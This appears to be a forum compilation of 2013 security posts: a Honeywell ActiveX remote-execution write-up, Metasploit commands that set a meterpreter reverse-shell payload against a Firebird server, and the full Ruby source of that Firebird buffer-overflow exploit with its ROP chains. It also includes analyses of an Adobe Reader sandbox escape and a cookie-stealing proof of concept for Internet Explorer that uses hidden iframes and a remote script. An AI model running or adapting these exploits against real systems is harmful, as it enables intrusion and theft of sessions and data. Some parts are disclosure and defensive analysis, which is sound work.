Metasploit modules published 2013-03-12 Kill bits released on Microsoft Patch Tuesday (proposed) 2013-03-14 ISC-CERT Advisory updated Technical Analysis A remote page can make the Internet Explorer load the vulnerable ActiveX control by using its class ID: <object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867"> The vulnerable ActiveX control will be loaded by Internet Explorer: 0:006> g ModLoad: 020b0000 020e7000 C:\WINDOWS\system32\HSCRemoteDeploy.dll eax=00000003 ebx=00000000 ecx=020de070 edx=f20b0000 esi=00255ba8 edi=00000000 eip=7c90e4f4 esp=00137dc0 ebp=00137eb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 7c90e4f4 c3 ret 0:000> lmv m HSCRemoteDeploy start end module name 020b0000 020e7000 HSCRemoteDeploy (deferred) Image path: C:\WINDOWS\system32\HSCRemoteDeploy.dll Image name: HSCRemoteDeploy.dll Timestamp: Wed Sep 29 13:51:06 2010 (4CA3282A) CheckSum: 0003DCC8 ImageSize: 00037000 File version: 5.7.165.119 Product version: 5.7.165.119 File flags: 0 (Mask 3F) File OS: 4 Unknown Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Honeywell Limited ProductName: HMIWeb FileVersion: 5, 7, 165, 119 PrivateBuild: Official build FileDescription: Unicode Release Build LegalCopyright: Copyright 2008 Honeywell International Sàrl LegalTrademarks: Copyright 2008 Honeywell International Sàrl Once loaded, the LaunchInstaller() method can be used to execute an arbitrary remote HTA application by specifying an arbitrary URI as "bstrParameter" parameter. The prototype for this method is described here: Sub LaunchInstaller ( ByVal bstrServer As String , ByVal bstrRedirect As String , ByVal bUpgrade As Boolean ) It can be abused in code such as: RemoteInstaller.LaunchInstaller("http://192.168.1.128:8080", "", false); The above LaunchInstaller() call will translate to the next execution of ShellExecuteExW, with a pointer to the SHELLEXECUTEINFO structure stored in 0013e200 as argument: 0:000> bp HSCRemoteDeploy+866A 0:000> g Breakpoint 0 hit eax=020d2644 ebx=0210246c ecx=021023e8 edx=0013e200 esi=00000000 edi=0013e26c eip=020b866a esp=0013e1ec ebp=0013e254 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 HSCRemoteDeploy!DllUnregisterServer+0x2e4a: 020b866a ff10 call dword ptr [eax] ds:0023:020d2644=d68d0b02 0:000> t eax=020d2644 ebx=0210246c ecx=021023e8 edx=0013e200 esi=00000000 edi=0013e26c eip=020b8dd6 esp=0013e1e8 ebp=0013e254 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 HSCRemoteDeploy!DllUnregisterServer+0x35b6: 020b8dd6 ff253c120d02 jmp dword ptr [HSCRemoteDeploy!DllUnregisterServer+0x1ba1c (020d123c)] ds:0023:020d123c={SHELL32!ShellExecuteExW (7ca02f03)} 0:000> dd esp L2 0013e1e8 020b866c 0013e200 The SHELLEXECUTEINFO used as parameter contains the next values: Field Value lpVerb open lpFile C:\WINDOWS\system32\mshta.exe lpParameters http://192.168.1.128:8080/System/Displays/RemoteInstallWelcome.hta 0:000> du poi(0013e200+C) 021040ac "open" 0:000> du poi(0013e200+10) 0210246c "C:\WINDOWS\system32\mshta.exe" 0:000> du poi(0013e200+14)02104014 "http : //192.168.1.128:8080/System" 02104054 "Displays/RemoteInstallWelcome.ht" 02104094 "a" The location of the HTA application to be opened via mshta.exe can be influenced by the "bstrServer" parameter, which leads to remote HTA code execution. Exploitation Since arbitrary HTA application execution is possible, according to the MSDN article Introduction to HTML Applications (HTAs), arbitrary code execution will be possible: As fully trusted applications, HTAs carry out actions that Internet Explorer would never permit in a webpage. The result is an application that runs seamlessly, without interruption. In HTAs, the restrictions against allowing script to manipulate the client machine are lifted. For example, all command codes are supported without scripting limitations (see command id). And HTAs have read/write access to the files and system registry on the client machine. The trusted status of HTAs also extends to all operations subject to security zone options. In short, zone security is off. Consequently, HTAs run embedded Microsoft ActiveX controls and Java applets irrespective of the zone security setting on the client machine. No warning displays before such objects are run within an HTA. HTAs run outside of the Internet Explorer process, and therefore are not subject to the security restrictions imposed by Protected Mode when run on Windows Vista. As a simple proof of concept, the next HTA application can be used to launch calc.exe: <script> a=new ActiveXObject("WScript.Shell"); a.run('%windir%\\\\System32\\\\calc.exe'); window.close(); </script> In order to achieve remote code execution a Metasploit module has been developed. The module has been tested successfully on Windows XP and Windows 7 operating systems with Internet Explorer 6 to Internet Explorer 9: Sursa : https://community.rapid7.com/community/metasploit/blog/2013/03/11/cve-2013-0108-honeywell-ebi

CVE-2013-2492 Firebird Relational Database Vulnerability Metasploit Demo Timeline : Vulnerability discovered by Spencer McIntyre the 2013-01-31 Vulnerability reported to the vendor the 2013-03-05 Coordinate public release of the vulnerability the 2013-03-08 Metasploit PoC provided the 2013-03-08 PoC provided by : Spencer McIntyre Reference(s) : CVE-2013-2492 CORE-4058 Affected version(s) : Firebird versions 2.1.3-2.1.5 and 2.5.1-2.5.2 Tested on Windows XP Pro SP3 with : FireBird 2.5.2.26539 Description : This module exploits a vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution. The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked. This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phases stackpivot allows to execute the ROP chain which ultimately is used to execute VirtualAlloc and bypass DEP. Commands : use exploit/windows/misc/fb_cnct_group set RHOST 192.168.178.22 set TARGET 0 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.36 exploit getuid sysinfo ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize super( 'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in Firebird SQL Server. A specially crafted packet can be sent which will overwrite a pointer allowing the attacker to control where data is read from. Shortly, following the controlled read, the pointer is called resulting in code execution. The vulnerability exists with a group number extracted from the CNCT information, which is sent by the client, and whose size is not properly checked. This module uses an existing call to memcpy, just prior to the vulnerable code, which allows a small amount of data to be written to the stack. A two-phases stackpivot allows to execute the ROP chain which ultimately is used to execute VirtualAlloc and bypass DEP. }, 'Author' => 'Spencer McIntyre', 'Arch' => ARCH_X86, 'Platform' => 'win', 'References' => [ [ 'CVE', '2013-2492' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh' }, 'Payload' => { # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax] 'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20", 'Space' => 400, 'BadChars' => "\x00\x0a\x0d" }, 'Targets' => [ # pivots are pointers to stack pivots [ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ], [ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ], [ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ], [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Jan 31 2013' ) register_options([Opt::RPORT(3050)], self.class) end def check begin connect rescue return Exploit::CheckCode::Safe end filename = "C:\\#{rand_text_alpha(12)}.fdb" username = rand_text_alpha(7) check_data = "" check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" check_data << "\x00\x00\x00\x13" check_data << filename check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24" check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c" check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" check_data << "\x00\x00\x00\x08" sock.put(check_data) data = sock.recv(16) disconnect opcode = data.unpack("N*")[0] version = data.unpack("N*")[1] if opcode == 3 # Accept if [ 0xffff800b, 0xffff800c ].include?(version) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def stack_pivot_rop_chain case target.name when 'Windows FB 2.5.2.26539' rop_chain = [ 0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe] 0x0059ffeb, # POP EBP # RETN [fbserver.exe] 0x0000153c, # 0x0000153c-> ebp 0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] 0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.5.1.26351' rop_chain = [ 0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe] 0x0059650b, # POP EBP # RETN [fbserver.exe] 0x0000153c, # 0x0000153c-> ebp 0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] 0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.1.5.18496' rop_chain = [ 0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe] 0x4a86ee77, # POP ECX # RETN [icuuc30.dll] 0x000001c0, # 0x000001c0-> ebp 0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe] 0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll] ].pack("V*") when 'Debug' rop_chain = [ ].fill(0x41414141, 0..5).pack("V*") end return rop_chain end def final_rop_chain # all rop chains in here created with mona.py, thanks corelan! case target.name when 'Windows FB 2.5.2.26539' rop_chain = [ 0x4a831344, # POP ECX # RETN [icuuc30.dll] 0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] 0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe] 0x00431905, # POP EBP # RETN [fbserver.exe] 0x00401932, # & push esp # ret [fbserver.exe] 0x4a844ac0, # POP EBX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> ebx 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x005dae9e, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x0057a822, # POP EDI # RETN [fbserver.exe] 0x005b0384, # RETN (ROP NOP) [fbserver.exe] 0x0046f8c3, # POP EAX # RETN [fbserver.exe] 0x90909090, # nop 0x00586002, # PUSHAD # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.5.1.26351' rop_chain = [ 0x00656472, # POP ECX # RETN [fbserver.exe] 0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] 0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe] 0x0041d1ae, # POP EBP # RETN [fbserver.exe] 0x0040917f, # & call esp [fbserver.exe] 0x4a8589c0, # POP EBX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> ebx 0x4a864cc3, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x0064ef59, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x005979fa, # POP EDI # RETN [fbserver.exe] 0x00424a50, # RETN (ROP NOP) [fbserver.exe] 0x4a86052d, # POP EAX # RETN [icuuc30.dll] 0x90909090, # nop 0x005835f2, # PUSHAD # RETN [fbserver.exe] ].pack("V*") when 'Windows FB 2.1.5.18496' rop_chain = [ 0x005763d5, # POP EAX # RETN [fbserver.exe] 0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe] 0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe] 0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe] 0x004e695a, # POP EBP # RETN [fbserver.exe] 0x004d9e6d, # & jmp esp [fbserver.exe] 0x4a828650, # POP EBX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> ebx 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] 0x00001000, # 0x00001000-> edx 0x00590328, # POP ECX # RETN [fbserver.exe] 0x00000040, # 0x00000040-> ecx 0x4a8573a1, # POP EDI # RETN [icuuc30.dll] 0x0042ba8c, # RETN (ROP NOP) [fbserver.exe] 0x00577605, # POP EAX # RETN [fbserver.exe] 0x90909090, # nop 0x004530ce, # PUSHAD # RETN [fbserver.exe] ].flatten.pack("V*") when 'Debug' rop_chain = [ ].fill(0x41414141, 0..17).pack("V*") end return rop_chain end def exploit connect rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*") # this data gets written to the stack via memcpy, no more than 32 bytes can be written overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8] overwrite_and_rop_chain << stack_pivot_rop_chain filename = "C:\\#{rand_text_alpha(13)}.fdb" evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" evil_data << "\x00\x00\x00\x14" evil_data << filename evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24" evil_data << "\x05\x20" evil_data << overwrite_and_rop_chain evil_data << "\x15\x6c\x6f\x63\x61\x6c" evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41" evil_data << rop_nop_sled evil_data << final_rop_chain evil_data << payload.encoded print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}") sock.put(evil_data) disconnect end end Surse: CVE-2013-2492 Firebird Database Vulnerability Metasploit Demo https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/misc/fb_cnct_group.rb#L1

A few days ago Mandiant released a report describing multi-year targeted attacks against entities from different countries around the world. They connected all the attacks to one group - APT1 - which, according to the report, originates from China and part of the Chinese PLA (People's Liberation Army). Today, two different spear-phishing attacks were reported using an email with an attachment claiming to be the same mandiant report. The first attack, seems to be targeting Japanese entities. The attachment file name is "Mandiant.pdf". When opening the attachment, only the first page of the report is displayed (See Figure 1), and in the background the attachment is exploiting a vulnerability in Adobe Reader (CVE-2013-0641) to automatically install a malware, which downloads additional malicious components (See Figure 2). This Adobe Reader vulnerability was patched by Adobe just yesterday. Seculert's research lab has analyzed the malware and identified that it communicates with a C2 server which is using the dynamic DNS domain name expires.ddn.dynssl.com. The C2 server itself is hosted in Korea. The malware is also communicating with several legitimate Japanese websites, probably in order to divert security products into thinking that this is a legitimate software (See Figure 2). Figure 1: Fake Mandiant Report exploiting recently patched 0-day The second attack (hat tip to Brandon Dixon for the MD5s) seems to be targeting Chinese journalists. The attachment file name is "Mandiant_APT2_Report.pdf". When opening the attachment, Adobe Reader will ask for a password, while in the background the malware will exploit an older Adobe Reader vulnerability (CVE-2011-2462). Our research lab also analyzed the malware in this attack. The malware communicates with a C2 server which is using the dynamic DNS domain itsec.eicp.net. This same domain name was used by a watering hole attack, targeting Dalai Lama activists back in December 2012. Back then there were two different malware variants communicating with the same C2 server. One variant was created for users using Windows operating system, while the other variant was created specifically for OSX victims.Further analysis can be found on Brandon Dixon blog post. The two targeted attacks are most probably not originating from the same group, however, the timing of the attacks is very interesting, as both were delivered on the same day. We will continue monitoring the attacks and update the blog post accordingly. Sursa Seculert Blog

It Looks Like this Java Patch 7u11 Will Need to be Patched – OOPS | SiliconANGLE It’s been just over a month since Oracle released their latest update for Java. The updates were needed to cover a very public and very ugly giant vulnerability. Recall that it was just before that time that there was continued advice and calls to disable and even uninstall Java on your systems. As it turns out, one of the components, an exploit code for Patch 7u11 turned up on Pastebin about 13 hours ago. The code has been accessed close to 3500 times at this time. If it’s on Pastebin, then who knows how long this has been out in the wild. tsk. tsk. The good news is that Oracle did quickly deploy that last update and perhaps we’ll see a rapid response to this exploit. Clearly Java is something that has been under attack for a while and there are some very serious security fears by many people in the industry at least on the client side. The guys over at DotTech responsible for that great image predicted that there were issues with the patch last month. If you haven’t disabled or removed Java on your systems thus far, it might be a good time to do that. Sursa It Looks Like this Java Patch 7u11 Will Need to be Patched – OOPS | SiliconANGLE

Analyzing the First ROP-Only, Sandbox-Escaping PDF Exploit | Blog Central The winter of 2013 seems to be “zero-day” season. Right after my colleague Haifei Li analyzed the powerful Flash zero day last week, Adobe sent a security alert for another zero-day attack targeting the latest (and earlier) versions of Adobe Reader. Unlike Internet Explorer zero-day exploits that we have seen in the past, this Reader zero-day exploit is a fully “weaponized” affair. It contains advanced techniques such as bypassing address-space layout randomization/data-execution prevention by using memory disclosure and a sandbox escape in the broker process. In this blog we will give a brief analysis of the exploitation. The malicious PDF file used in the this exploitation consists mainly of three parts: Highly obfuscated JavaScript code, containing heap-spray data with a return-oriented programming (ROP) payload and the JavaScript code to manipulate Adobe XML Forms Architecture (XFA) objects to trigger the vulnerability A flat-encoded XFA object An encrypted binary stream, which we believe is related to the two dropped DLLs The exploitation has two stages. The first-stage code execution inside the sandboxed process happens in the AcroForm.api module. A vtable pointer will be read from the attacker-controlled heap-spray area and later will be used in the call instruction. This exploit can leak the base-module address of AcroForm.api. The embedded JavaScript code is used to detect the current version of Adobe Reader, and all the ROP payload can be built at runtime. Most important, there is no traditional shellcode at all! All the required shellcode functions are implemented in the ROP code level. That means most emulation-based shellcode-detection techniques will fail in detecting such an exploitation, because those techniques see only a bunch of addresses within a legitimate module. It’s similar to the old iOS jailbreak exploit that can be used to defeat the iOS code-signing enhancement. The ROP shellcode first decrypts an embedded DLL (D.T) in memory and drops it to the AppData\Local\Temp\acrord32_sbx folder. Then, it loads the DLL into the current process. After that, the hijacked thread suspends itself by calling Kernel32!Sleep API. When D.T runs in the sandboxed process, it drops other DLLs (L2P.T, etc.) and is ready to escape the sandbox by exploiting another Adobe vulnerability. The second-stage code execution occurs inside the broker process. The destination of the call instruction can also be controlled by the attacker. The second-stage ROP shellcode is very short. It simply loads the dropped DLL L2P.T and goes into a sleep state. At this point, the exploit has already successfully broken out of the Reader sandbox because the attacker-controlled code (L2P.T) managed to run in the high-privileged broker process. This is the first in-the-wild exploit we have seen that has fully escaped the sandbox. Previously, we had only heard of the possibility of full sandbox escaping at a top hacking competition such as pwn2own. Besides the complicated exploitation portion, this exploit also uses multiple evasion techniques such as highly obfuscated JavaScript, ROP-only shellcode, and multistaged encrypted malware to bypass network and endpoint security detection and protection. After succeeding, the exploit code exits the hijacked process and creates new processes to render a normal PDF file. The exploitation happens in a split second; thus the victim who opens that original malicious PDF file will not observe any abnormal behavior. We will continue our analysis and provide more detail later on the sandbox escape. For now, we strongly recommend that all Reader users enable protected view and disable JavaScript (Edit -> Preferences -> JavaScript -> Uncheck the “Enable Acrobat JavaScript” option) until Adobe releases a patch. For McAfee customers, we have released signature 0x402e0600 “UDS-HTTP: Adobe Reader and Acrobat XFA Component Remote Code Execution” for the Network Security Platform appliances. Also, the generic buffer overflow prevention (Sigs 6013 and 6048) feature on our HIPS product will help to stop related attacks. Thanks to Bing Sun, Chong Xu, and Haifei Li for their help with this analysis. Sursa Analyzing the First ROP-Only, Sandbox-Escaping PDF Exploit | Blog Central

Digging Into the Sandbox-Escape Technique of the Recent PDF Exploit | Blog Central As promised in our previous blog entry for the recent Adobe Reader PDF zero-day attack, we now offer more technical details on this Reader “sandbox-escape” plan. In order to help readers understand what’s going on there, we first need to provide some background. Adobe Reader’s Sandbox Architecture The Adobe Reader sandbox consists of two processes: a high-privilege broker process and a sandboxed renderer process; the latter is responsible for rendering the PDF document. We copied the preceding image from Adobe’s ASSET blog. The renderer process has restricted read/write access to the file system, registry, and named objects. Most of the native OS API calls will go through the interprocess communication (IPC) mechanism to the broker process. For example, you can find more details in the following image to see how a native API call (CreateFile) originates from the sandbox process and how the broker process eventually takes over as a proxy. Actually, the Reader sandbox’s IPC is implemented based on Google Chrome’s IPC shared-memory mechanism. The broker process creates a 2MB shared memory for IPC initialization, the handle of the shared memory is duplicated and transferred to the sandboxed process, and all the communications leverage this shared memory. The API call request from the sandboxed process is stored in an IPC channel buffer (also called CrossCallParams or ActuallCallParams). The structure of the buffer is defined as the following format (from crosscall_params.h): Here are some explanations for the fields: The first 4 bytes, the “tag,” is the opcode for which function is being called “IsOnOut” describes the data type of the “in/out” parameter “Call return” has 52 bytes. It’s a buffer used to fill the returning data from the IPC server. “Params count” indicates the number of the parameters The parameter type/offset/size info indicate the actual parameters The parameter type is an enum type, s defined as follows: Escaping the Sandbox The sandbox escape in this zero-day exploit is due to a heap-based overflow vulnerability that occurs when the broker process handles the call request of the native API “GetClipboardFormatNameW.” The tag id for this API is 0×73. Here is the ActuallCallParams (IPC channel buffer) memory structure for the request in the exploit: As marked by different colors above, the first DWORD is the tag id (0×73), and there are only two parameters for this API call (as indicated by the blue DWORD). The yellow DWORDs are the parameter types: Type 6 means INOUTPTR_TYPE and type 2 means ULONG_TYPE. The red DWORDs are the sizes for these parameters, so the first parameter has 0x9c bytes with the “in/out ptr” type and the second parameter has 4 bytes with the “long” type. Let’s take a look at the definition of the parameters for the GetClipboardFormatNameW API. According to the preceding definition, the GetClipboardFormatNameW call would look like this: GetClipboardFormatNameW(0xc19a, “BBBBBBBBBB……”, 0x9c); At first sight, this function call looks normal, with nothing malicious. Unfortunately, there are two issues that will lead to a heap overflow condition. First, Adobe Reader allocates the heap memory based on “cchMaxCount,” while the correct size should be “cchMaxCount * sizeof(WCHAR)” as this is a Unicode API. In our case, the allocation size is only 0x9c; that is incorrect. Second, the lower-level native API NtUserGetClipboardFormatName() called by GetClipboardFormatNameW() is using cchMaxCount*sizeof(WCHAR) as its “length” parameter when copying a string to the heap buffer. At this point the heap overrun happens! There is a trick to trigger this heap overflow: Just pay attention to the first parameter. From the MSDN description, the parameter “format” is used to retrieve the type of the format. So if we can pass in advance a format ID that requires a longer buffer space, then later when the broker calls the GetClipboardFormatNameW() to retrieve the format, it will trigger the overflow. In this sandbox-escaping exploit, the malware calls RegisterClipboardFormatW() to register a different format name, which is much longer than 0x9c bytes. Finally, an object (vtable) on heap will be overwritten. However, the story is not over yet. In order to achieve reliable exploitation, a heap spray inside the broker process is needed. The attacker did this in a very smart way, he or she leveraged the “HttpSendRequestA” function (tag id 0x5d). See the following dumped memory for this function call request. Because the fourth parameter (lpOptional) has the type VOIDPTR_TYPE (its address and size are highlighted in red) in the exploit, the attacker passes the buffer size 0x0c800000 (the second red section). Because the size is huge, when the IPC server calls ReadProcessMemory API to read the buffer, the broker process’ heap memory will be sprayed with attacker-controlled data at a predictable memory location. The ASLR- and DEP-bypassing part is very easy because the module base addresses of the broker process and the sandboxed process are same. The attacker can directly use the ROP code chain to defeat both ASLR and DEP. Adobe has now released the official patch for these critical vulnerabilities. As always, we strongly suggest that users apply the patch as soon as possible. For McAfee customers, you’ll find our solutions in our previous post. Thanks again to Bing Sun, Chong Xu, and Haifei Li for their help with this analysis. Tags: ASLR, CVE-2013-0633, CVE-2013-0634, DEP, exploit, exploitation, PDF, sandbox, Zero-Day Sursa Digging Into the Sandbox-Escape Technique of the Recent PDF Exploit | Blog Central

Internet Explorer 8 & Internet Explorer 9 - Steal any Cookie # Exploit Title: Internet Explorer 8 & Internet Explorer 9 steal any Cookie # Date: 27.01.2013 # Exploit Author: Christian Haider; Email: christian.haider.poc @ gmail *dot* com; linkedin: Christian Haider, CISSP | LinkedIn # Category: remote # Vendor Homepage: Microsoft România | Dispozitive ?i servicii # Version: IE 8, IE 9 # Tested on: Windows 7, Windows XP # CVE : CVE-2013-1451 Disclaimer ---------- The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. Educational use only..!! ---------- This vulnerability regarding Internet Explorer 8 & 9 was reported to Microsoft in December 2011 (ID is [12096gd]). Although the vulnerability can be used to steal cookies it has not been rated as a high risk vulnerability. As a consequence of that we will never see an update for IE 8 & IE 9 and rather have to wait for a fix in IE 10. Only requirement for a successful exploit is that IE uses the same proxy for HTTP and HTTPS. I consider this a high risk vulnerability and a simple configuration change could mitigate the risk. To make the public aware of this threat I made this vulnerability public. CVE-ID has not been issued yet. Vulnerability discovered by: Christian Haider; Email: christian.haider.poc @ gmail *dot* com Linkedin: Christian Haider, CISSP | LinkedIn PoC Video on Youtube = http://youtu.be/MNqGFoHHMaw PoC Files: - info.php = http://pastebin.com/download.php?i=bPDDwJY4 <?php print_r($_SERVER['HTTP_HOST']); echo '<br/>'; // A way to view all cookies //print_r($_COOKIE); $cookie=$_COOKIE; foreach ($cookie as $key=>$val) echo "$key--> HIDDEN; "; ?> ?> - video.html = http://pastebin.com/download.php?i=KXYX3pv1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Vul Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <form name="input" action="http://www.facebook.com/info.php" method="post"> Facebook.com <input type="submit" value="Submit"> </form> <form name="input" action="http://www.google.com/info.php" method="post"> Google.com <input type="submit" value="Submit"> </form> <form name="input" action="https://www.google.com" method="get"> https://www.google.com <input type="submit" value="Submit"> </form> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <script type="text/javascript" src="https://web02.local.home:8080/script.js"></script> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe> <br/> <iframe src="http://www.facebook.com/info.php" width="900" height="100"></iframe> <br/> <iframe src="http://www.google.com/info.php" width="900" height="100"></iframe> <br/> <iframe src="http://www.linkedin.com/info.php" width="900" height="100"></iframe> 